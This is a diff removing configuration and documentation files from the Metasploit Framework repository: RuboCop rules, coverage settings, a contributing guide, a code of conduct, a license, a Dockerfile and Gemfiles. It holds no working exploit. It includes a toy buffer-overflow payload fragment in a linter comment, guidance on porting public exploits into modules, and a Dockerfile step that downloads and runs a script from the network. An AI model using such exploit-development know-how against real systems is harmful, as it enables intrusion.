Enabled: false
|
||||
Description: 'Almost all module metadata have space in brackets'
|
||||
|
||||
Style/GuardClause:
|
||||
Enabled: false
|
||||
Description: 'This often introduces bugs in tested code'
|
||||
|
||||
Style/EmptyLiteral:
|
||||
Enabled: false
|
||||
Description: 'This looks awkward when you mix empty and non-empty literals'
|
||||
|
||||
Style/NegatedIf:
|
||||
Enabled: false
|
||||
Description: 'This often introduces bugs in tested code'
|
||||
|
||||
Style/ConditionalAssignment:
|
||||
Enabled: false
|
||||
Description: 'This is confusing for folks coming from other languages'
|
||||
|
||||
Style/Encoding:
|
||||
Description: 'We prefer binary to UTF-8.'
|
||||
Enabled: false
|
||||
|
||||
Style/ParenthesesAroundCondition:
|
||||
Enabled: false
|
||||
Description: 'This is used in too many places to discount, especially in ported code. Has little effect'
|
||||
|
||||
Style/StringConcatenation:
|
||||
Enabled: false
|
||||
Description: >-
|
||||
Disabled for now as it changes escape sequences when auto corrected:
|
||||
https://github.com/rubocop/rubocop/issues/9543
|
||||
|
||||
Additionally seems to break with multiline string concatenation with trailing comments, example:
|
||||
payload = "\x12" + # Size
|
||||
"\x34" + # eip
|
||||
"\x56" # etc
|
||||
With `rubocop -A` this will become:
|
||||
payload = "\u00124V" # etc
|
||||
|
||||
Style/TrailingCommaInArrayLiteral:
|
||||
Enabled: false
|
||||
Description: 'This is often a useful pattern, and is actually required by other languages. It does not hurt.'
|
||||
|
||||
Layout/LineLength:
|
||||
Description: >-
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Enabled: false
|
||||
|
||||
Metrics/BlockLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Metrics/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Naming/MethodParameterName:
|
||||
Enabled: true
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
|
||||
# %q() is super useful for long strings split over multiple lines and
|
||||
# is very common in module constructors for things like descriptions
|
||||
Style/RedundantPercentQ:
|
||||
Enabled: false
|
||||
|
||||
Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/FirstArrayElementLineBreak:
|
||||
Enabled: true
|
||||
Description: 'This cop checks for a line break before the first element in a multi-line array.'
|
||||
|
||||
Layout/FirstArrayElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful to force values within the register_options array to have sane indentation'
|
||||
|
||||
Layout/EmptyLinesAroundClassBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/EmptyLinesAroundMethodBody:
|
||||
Enabled: true
|
||||
|
||||
Layout/ExtraSpacingWithBinDataIgnored:
|
||||
Description: 'Do not use unnecessary spacing.'
|
||||
Enabled: true
|
||||
# When true, allows most uses of extra spacing if the intent is to align
|
||||
# things with the previous or next line, not counting empty lines or comment
|
||||
# lines.
|
||||
AllowForAlignment: false
|
||||
# When true, allows things like 'obj.meth(arg) # comment',
|
||||
# rather than insisting on 'obj.meth(arg) # comment'.
|
||||
# If done for alignment, either this OR AllowForAlignment will allow it.
|
||||
AllowBeforeTrailingComments: true
|
||||
# When true, forces the alignment of `=` in assignments on consecutive lines.
|
||||
ForceEqualSignAlignment: false
|
||||
|
||||
Style/For:
|
||||
Enabled: false
|
||||
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
|
||||
|
||||
Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/PercentLiteralDelimiters:
|
||||
Description: 'Use `%`-literal delimiters consistently.'
|
||||
Enabled: true
|
||||
# Specify the default preferred delimiter for all types with the 'default' key
|
||||
# Override individual delimiters (even with default specified) by specifying
|
||||
# an individual key
|
||||
PreferredDelimiters:
|
||||
default: ()
|
||||
'%i': '[]'
|
||||
'%I': '[]'
|
||||
'%r': '{}'
|
||||
'%w': '[]'
|
||||
'%W': '[]'
|
||||
'%q': '{}' # Chosen for module descriptions as () are frequently used characters, whilst {} are rarely used
|
||||
VersionChanged: '0.48.1'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Enabled: true
|
||||
|
||||
Style/SafeNavigation:
|
||||
Description: >-
|
||||
This cop transforms usages of a method call safeguarded by
|
||||
a check for the existence of the object to
|
||||
safe navigation (`&.`).
|
||||
|
||||
This has been disabled as in some scenarios it produced invalid code, and disobeyed the 'AllowedMethods'
|
||||
configuration.
|
||||
Enabled: false
|
||||
|
||||
Style/UnpackFirst:
|
||||
Description: >-
|
||||
Disabling to make it easier to copy/paste `unpack('h*')` expressions from code
|
||||
into a debugging REPL.
|
||||
Enabled: false
|
||||
@@ -1 +0,0 @@
|
||||
metasploit-framework
|
||||
@@ -1 +0,0 @@
|
||||
3.0.2
|
||||
-57
@@ -1,57 +0,0 @@
|
||||
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
|
||||
# controlled by running with coverage, so don't explicitly start coverage (and
|
||||
# therefore generate a report) when in Rubymine. This _will_ generate a report
|
||||
# whenever `rake spec` is run.
|
||||
unless ENV['RM_INFO']
|
||||
SimpleCov.start
|
||||
end
|
||||
|
||||
SimpleCov.configure do
|
||||
# ignore this file
|
||||
add_filter '.simplecov'
|
||||
|
||||
#
|
||||
# Changed Files in Git Group
|
||||
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
|
||||
#
|
||||
|
||||
untracked = `git ls-files --exclude-standard --others`
|
||||
unstaged = `git diff --name-only`
|
||||
staged = `git diff --name-only --cached`
|
||||
all = untracked + unstaged + staged
|
||||
changed_filenames = all.split("\n")
|
||||
|
||||
add_group 'Changed' do |source_file|
|
||||
changed_filenames.detect { |changed_filename|
|
||||
source_file.filename.end_with?(changed_filename)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Framework (msf) related groups
|
||||
#
|
||||
|
||||
add_group 'Metasploit Framework', 'lib/msf'
|
||||
add_group 'Metasploit Framework (Base)', 'lib/msf/base'
|
||||
add_group 'Metasploit Framework (Core)', 'lib/msf/core'
|
||||
|
||||
#
|
||||
# Other library groups
|
||||
#
|
||||
|
||||
add_group 'Metasm', 'lib/metasm'
|
||||
add_group 'PacketFu', 'lib/packetfu'
|
||||
add_group 'Rex', 'lib/rex'
|
||||
add_group 'RKelly', 'lib/rkelly'
|
||||
add_group 'Ruby Mysql', 'lib/rbmysql'
|
||||
add_group 'Ruby Postgres', 'lib/postgres'
|
||||
add_group 'SNMP', 'lib/snmp'
|
||||
add_group 'Zip', 'lib/zip'
|
||||
|
||||
#
|
||||
# Specs are reported on to ensure that all examples are being run and all
|
||||
# lets, befores, afters, etc are being used.
|
||||
#
|
||||
|
||||
add_group 'Specs', 'spec'
|
||||
end
|
||||
@@ -1,10 +0,0 @@
|
||||
--protected
|
||||
--exclude samples/
|
||||
--exclude \.ut\.rb/
|
||||
--exclude \.ts\.rb/
|
||||
--files CONTRIBUTING.md,COPYING,LICENSE
|
||||
app/**/*.rb
|
||||
lib/msf/**/*.rb
|
||||
lib/metasploit/**/*.rb
|
||||
lib/rex/**/*.rb
|
||||
plugins/**/*.rb
|
||||
@@ -1,52 +0,0 @@
|
||||
# Contributor Code of Conduct
|
||||
|
||||
As contributors and maintainers of this project, and in the interest of
|
||||
fostering an open and welcoming community, we pledge to respect all people who
|
||||
contribute through reporting issues, posting feature requests, updating
|
||||
documentation, submitting pull requests or patches, and other activities.
|
||||
|
||||
We are committed to making participation in this project a harassment-free
|
||||
experience for everyone, regardless of level of experience, gender, gender
|
||||
identity and expression, sexual orientation, disability, personal appearance,
|
||||
body size, race, ethnicity, age, religion, or nationality.
|
||||
|
||||
Examples of unacceptable behavior by participants include:
|
||||
|
||||
* The use of sexualized language or imagery
|
||||
* Personal attacks
|
||||
* Trolling or insulting/derogatory comments
|
||||
* Public or private harassment
|
||||
* Publishing other's private information, such as physical or electronic
|
||||
addresses, without explicit permission
|
||||
* Other unethical or unprofessional conduct
|
||||
|
||||
Project maintainers have the right and responsibility to remove, edit, or
|
||||
reject comments, commits, code, wiki edits, issues, and other contributions
|
||||
that are not aligned to this Code of Conduct, or to ban temporarily or
|
||||
permanently any contributor for other behaviors that they deem inappropriate,
|
||||
threatening, offensive, or harmful.
|
||||
|
||||
By adopting this Code of Conduct, project maintainers commit themselves to
|
||||
fairly and consistently applying these principles to every aspect of managing
|
||||
this project. Project maintainers who do not follow or enforce the Code of
|
||||
Conduct may be permanently removed from the project team.
|
||||
|
||||
This Code of Conduct applies both within project spaces and in public spaces
|
||||
when an individual is representing the project or its community.
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
||||
the incident involves a committer, you may report directly to
|
||||
caitlin_condon@rapid7.com or todb@metasploit.com.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a
|
||||
response that is deemed necessary and appropriate to the circumstances.
|
||||
Maintainers are obligated to maintain confidentiality with regard to the
|
||||
reporter of an incident.
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
|
||||
version 1.3.0, available at
|
||||
[http://contributor-covenant.org/version/1/3/0/][version]
|
||||
|
||||
[homepage]: http://contributor-covenant.org
|
||||
[version]: http://contributor-covenant.org/version/1/3/0/
|
||||
-111
@@ -1,111 +0,0 @@
|
||||
# Contributing to Metasploit
|
||||
Thank you for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
|
||||
|
||||
## Code Free Contributions
|
||||
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
|
||||
|
||||
- You can [submit bugs and feature requests](https://github.com/rapid7/metasploit-framework/issues/new/choose) with detailed information about your issue or idea:
|
||||
- If you'd like to propose a feature, describe what you'd like to see. Mock ups of console views would be great.
|
||||
- If you're reporting a bug, please be sure to include the expected behaviour, the observed behaviour, and steps to reproduce the problem. Resource scripts, console copy-pastes, and any background on the environment you encountered the bug in would be appreciated. More information can be found [below](#bug-reports).
|
||||
- [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
|
||||
- [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
|
||||
- [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
|
||||
- Add [module documentation]. New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
|
||||
|
||||
|
||||
## Code Contributions
|
||||
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/Get-Started-Writing-an-Exploit). It will help you to get started and avoid some common mistakes.
|
||||
|
||||
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
|
||||
|
||||
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
|
||||
will be closed. We need to ensure the code we're adding to master is written to a high standard.
|
||||
|
||||
|
||||
### Code Contribution Do's & Don'ts:
|
||||
|
||||
Keeping the following in mind gives your contribution the best chance of landing!
|
||||
|
||||
#### <u>Pull Requests</u>
|
||||
**Pull request [PR#9966] is a good example to follow.**
|
||||
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`. This helps to:
|
||||
* Protect the process.
|
||||
* Ensures users are aware of commits on the branch being considered for merge.
|
||||
* Allows for a location for more commits to be offered without mingling with other contributor changes.
|
||||
* Allows contributors to make progress while a PR is still being reviewed.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
* **Don't** post questions in older closed PRs.
|
||||
|
||||
#### <u>New Modules</u>
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation] showing sample run-throughs.
|
||||
* **Do** ask cve@rapid7.com for a CVE ID if this describes a new vulnerability (remember to mention your PR number!)
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and anything "serious" can be done with post modules and local exploits.
|
||||
|
||||
#### <u>Library Code</u>
|
||||
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
|
||||
* **Do** follow [Better Specs] - it's like the style guide for specs.
|
||||
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
|
||||
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||
|
||||
#### <u>Bug Fixes</u>
|
||||
* **Do** include reproduction steps in the form of verification steps.
|
||||
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
|
||||
|
||||
## Bug Reports
|
||||
|
||||
Please report vulnerabilities in Rapid7 software directly to security@rapid7.com. For more on our disclosure policy and Rapid7's approach to coordinated disclosure, [head over here](https://www.rapid7.com/security).
|
||||
|
||||
When reporting Metasploit issues:
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
* **Don't** attempt to report issues on a closed PR.
|
||||
|
||||
If you need some more guidance, talk to the main body of open source contributors over on our
|
||||
[Metasploit Slack] or [#metasploit on Freenode IRC].
|
||||
|
||||
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
|
||||
curve, so keep it up!
|
||||
|
||||
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
|
||||
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
|
||||
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
|
||||
[Report a security vulnerability in Metasploit itself]:https://www.rapid7.com/disclosure.jsp
|
||||
[development environment]:http://r-7.co/MSF-DEV
|
||||
[proof-of-concept exploits]:https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
[Rubocop]:https://rubygems.org/search?query=rubocop
|
||||
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[draft PR]:https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
|
||||
[console output]:https://docs.github.com/en/free-pro-team@latest/github/writing-on-github/creating-and-highlighting-code-blocks#fenced-code-blocks
|
||||
[verification steps]:https://docs.github.com/en/free-pro-team@latest/github/writing-on-github/basic-writing-and-formatting-syntax#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[module documentation]:https://github.com/rapid7/metasploit-framework/wiki/Module-Documentation
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://www.betterspecs.org/
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Metasploit Slack]:https://www.metasploit.com/slack
|
||||
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
@@ -1,37 +0,0 @@
|
||||
Copyright (C) 2006-2020, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
================================================================================
|
||||
|
||||
The Metasploit Framework is provided under the 3-clause BSD license above.
|
||||
|
||||
The copyright on this package is held by Rapid7, Inc.
|
||||
|
||||
This license does not apply to several components within the Metasploit
|
||||
Framework source tree. For more details see the LICENSE file.
|
||||
|
||||
-20
@@ -1,20 +0,0 @@
|
||||
Active Metasploit 5 development will sometimes push aggressive changes.
|
||||
Integrations with 3rd-party tools, as well as general usage, may change quickly
|
||||
from day to day. Some of the steps for dealing with major changes will be
|
||||
documented here. We will continue to maintain the Metasploit 4.x branch until
|
||||
Metasploit 5.0 is released.
|
||||
|
||||
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
|
||||
|
||||
Metasploit no longer stores module metadata in a PostgreSQL database, instead
|
||||
storing it in a cache file in your local ~/.msf4 config directory. This has a
|
||||
number of advantages:
|
||||
|
||||
* Fast searches whether you have the database enabled or not (no more slow search mode)
|
||||
* Faster load time for msfconsole, the cache loads more quickly
|
||||
* Private module data is not uploaded to a shared database, no collisions
|
||||
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
|
||||
* Reduced memory consumption
|
||||
|
||||
Code that reads directly from the Metasploit database for module data will need
|
||||
to use the new module search API.
|
||||
-91
@@ -1,91 +0,0 @@
|
||||
FROM ruby:3.0.2-alpine3.12 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME/
|
||||
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
|
||||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk add --no-cache \
|
||||
autoconf \
|
||||
bash \
|
||||
bison \
|
||||
build-base \
|
||||
curl \
|
||||
ruby-dev \
|
||||
openssl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
libpcap-dev \
|
||||
libxml2-dev \
|
||||
libxslt-dev \
|
||||
yaml-dev \
|
||||
zlib-dev \
|
||||
ncurses-dev \
|
||||
git \
|
||||
go \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& bundle config $BUNDLER_ARGS \
|
||||
&& bundle install --jobs=8 \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
RUN mkdir -p $TOOLS_HOME/bin && \
|
||||
cd $TOOLS_HOME/bin && \
|
||||
curl -O https://dl.google.com/go/go1.11.2.src.tar.gz && \
|
||||
tar -zxf go1.11.2.src.tar.gz && \
|
||||
rm go1.11.2.src.tar.gz && \
|
||||
cd go/src && \
|
||||
./make.bash
|
||||
|
||||
FROM ruby:3.0.2-alpine3.12
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV METASPLOIT_GROUP=metasploit
|
||||
|
||||
# used for the copy command
|
||||
RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk python2-dev openssl-dev nasm mingw-w64-gcc
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
RUN chown -R root:metasploit /usr/local/bundle
|
||||
COPY . $APP_HOME/
|
||||
COPY --from=builder $TOOLS_HOME $TOOLS_HOME
|
||||
RUN chown -R root:metasploit $APP_HOME/
|
||||
RUN chmod 664 $APP_HOME/Gemfile.lock
|
||||
RUN gem update --system
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
RUN curl -L -O https://github.com/pypa/get-pip/raw/3843bff3a0a61da5b63ea0b7d34794c5c51a2f11/get-pip.py && python get-pip.py && rm get-pip.py
|
||||
RUN pip install impacket
|
||||
RUN pip install requests
|
||||
|
||||
ENV GOPATH=$TOOLS_HOME/go
|
||||
ENV GOROOT=$TOOLS_HOME/bin/go
|
||||
ENV PATH=${PATH}:${GOPATH}/bin:${GOROOT}/bin
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors.
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc", "-y", "$APP_HOME/config/database.yml"]
|
||||
@@ -1,48 +0,0 @@
|
||||
source 'https://rubygems.org'
|
||||
# Add default group gems to `metasploit-framework.gemspec`:
|
||||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
gem 'simplecov', '0.18.2'
|
||||
end
|
||||
|
||||
group :development do
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry-byebug'
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# memory profiling
|
||||
gem 'memory_profiler'
|
||||
# cpu profiling
|
||||
gem 'ruby-prof', '1.4.2'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_bot_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
gem 'rubocop'
|
||||
end
|
||||
|
||||
group :test do
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
@@ -1,35 +0,0 @@
|
||||
##
|
||||
# Example Gemfile.local file for Metasploit Framework
|
||||
#
|
||||
# The Gemfile.local file provides a way to use other gems that are not
|
||||
# included in the standard Gemfile provided with Metasploit.
|
||||
# This filename is included in Metasploit's .gitignore file, so local changes
|
||||
# to this file will not accidentally show up in future pull requests. This
|
||||
# example Gemfile.local includes all gems in Gemfile using instance_eval.
|
||||
# It also creates a new bundle group, 'local', to hold additional gems.
|
||||
#
|
||||
# This file will not be used by default within the framework. As such, one
|
||||
# must first install the custom Gemfile.local with bundle:
|
||||
# bundle install --gemfile Gemfile.local
|
||||
#
|
||||
# Note that msfupdate does not consider Gemfile.local when updating the
|
||||
# framework. If it is used, it may be necessary to run the above bundle
|
||||
# command after the update.
|
||||
#
|
||||
###
|
||||
|
||||
# Include the Gemfile included with the framework. This is very
|
||||
# important for picking up new gem dependencies.
|
||||
msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile')
|
||||
if File.readable?(msf_gemfile)
|
||||
instance_eval(File.read(msf_gemfile))
|
||||
end
|
||||
|
||||
# Create a custom group
|
||||
group :local do
|
||||
# This is the first way to add a non-standard gem file dependency in.
|
||||
gem 'lab', '~> 0.2.7'
|
||||
# And this is another way that references local directories to find and compile the gem file as needed.
|
||||
# This is the optimal method for testing Gem PRs such as those in rex-text or rex-powershell.
|
||||
gem 'rex-powershell', path: '../rex-powershell'
|
||||
end
|
||||
-522
@@ -1,522 +0,0 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.13)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
aws-sdk-ec2
|
||||
aws-sdk-iam
|
||||
aws-sdk-s3
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bson
|
||||
concurrent-ruby (= 1.0.5)
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday
|
||||
faraday-retry
|
||||
faye-websocket
|
||||
filesize
|
||||
hrr_rb_ssh-ed25519
|
||||
http-cookie
|
||||
irb
|
||||
jsobfu
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.94)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.18)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ldap
|
||||
net-smtp
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
nokogiri
|
||||
octokit
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
packetfu
|
||||
patch_finder
|
||||
pcaprub
|
||||
pdf-reader
|
||||
pg
|
||||
puma
|
||||
railties
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
reline (= 0.2.5)
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
rex-encoder
|
||||
rex-exploitation
|
||||
rex-java
|
||||
rex-mime
|
||||
rex-nop
|
||||
rex-ole
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
rex-socket
|
||||
rex-sslscan
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby_smb (~> 3.1.0)
